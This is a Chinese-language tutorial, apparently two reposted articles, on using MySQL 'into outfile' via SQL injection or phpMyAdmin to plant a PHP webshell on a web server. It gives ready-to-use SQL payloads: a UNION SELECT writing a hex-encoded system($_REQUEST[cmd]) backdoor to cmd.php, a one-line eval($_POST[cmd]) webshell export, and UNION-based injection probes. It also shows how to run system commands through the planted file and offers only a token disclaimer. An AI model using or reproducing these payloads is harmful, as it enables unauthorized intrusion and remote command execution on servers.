咳咳,大家看看就好了,本人不負(fù)責(zé)所產(chǎn)生的后果
代碼如下:
SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'
通過(guò)Mysql 的注入或者在 phpmyadmin 里運(yùn)行以上語(yǔ)句,則會(huì)C:/inetpub/wwwroot/下生成 cmd.php 文件,內(nèi)容為原來(lái)的 vbb_strikes 內(nèi)容,后面緊跟著:2 3 <?php system($_REQUEST[cmd]);?>
再通過(guò) http://www.xxx.com/cmd.php?cmd=dir c: 就可以執(zhí)行系統(tǒng)DOS命令!
哪串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么東西?
就是<?php system($_REQUEST[cmd]);?>的十六進(jìn)制編碼了,如果不用這種方法,有不同的SQL版本會(huì)出現(xiàn)其它的編碼:如%xx之類(lèi)的, 哪這個(gè)后門(mén)就不能執(zhí)行的了!如果你有其它語(yǔ)名要弄,可以到UltraEdit里輸入,再按[Ctrl+H]鍵,將里面的十六進(jìn)制連在一起就可以了!
淺談MySQL導(dǎo)出一句話木馬拿WebShell的方法-只需要一句SQL
昨天看一篇文章中說(shuō)到MySQL導(dǎo)出一句話木馬拿WebShell的方法。
文章中用到的SQL語(yǔ)句大體如下(命令行或者其它能執(zhí)行SQL命令的shell都行):
Drop TABLE IF EXISTS temp; //如果存在temp就刪掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一個(gè)cmd字段
Insert INTO temp (cmd) VALUES(''); //把一句話木馬插入到temp表
Select cmd from temp into out file 'F:/wwwroot/eval.php'; //查詢(xún)temp表中的一句話并把結(jié)果導(dǎo)入到eval.php
Drop TABLE IF EXISTS temp; //刪除temp(擦屁股o(∩_∩)o...)
這幾句SQL很簡(jiǎn)單,我做了簡(jiǎn)單的注釋。
不過(guò)想想我們?cè)跍y(cè)試PHP的SQL漏洞的時(shí)候經(jīng)常用如下的語(yǔ)句:
/**/UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12/*
然后返回的頁(yè)面中可能會(huì)出現(xiàn)1~12之間的數(shù)字。這里加入數(shù)字3顯示出來(lái)了。
如果我們把上面這句改成/**/UNION SELECT 1,2,'zerosoul',4,5,6,7,8,9,10,11,12/*,則返回頁(yè)面上次顯示3的地方會(huì)顯示zerosoul。
也就是說(shuō)如果我們的select語(yǔ)句后面不帶from table語(yǔ)句的話,我們說(shuō)查詢(xún)的數(shù)字或字符會(huì)直接返回到查詢(xún)結(jié)果里。
既然這樣,我們?yōu)楹芜€要那么麻煩去建一個(gè)表,先導(dǎo)入數(shù)據(jù),再導(dǎo)出這樣折騰呢。
有了這個(gè)思路,上面那一大段到出一句話的SQL代碼可以直接簡(jiǎn)化到一句:
Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/eval.php';
這樣做不但簡(jiǎn)單明了,而且避免了誤刪別人的數(shù)據(jù)。以上所述就是本文的全部?jī)?nèi)容了,希望大家能夠喜歡。
聲明:本網(wǎng)頁(yè)內(nèi)容旨在傳播知識(shí),若有侵權(quán)等問(wèn)題請(qǐng)及時(shí)與本網(wǎng)聯(lián)系,我們將在第一時(shí)間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com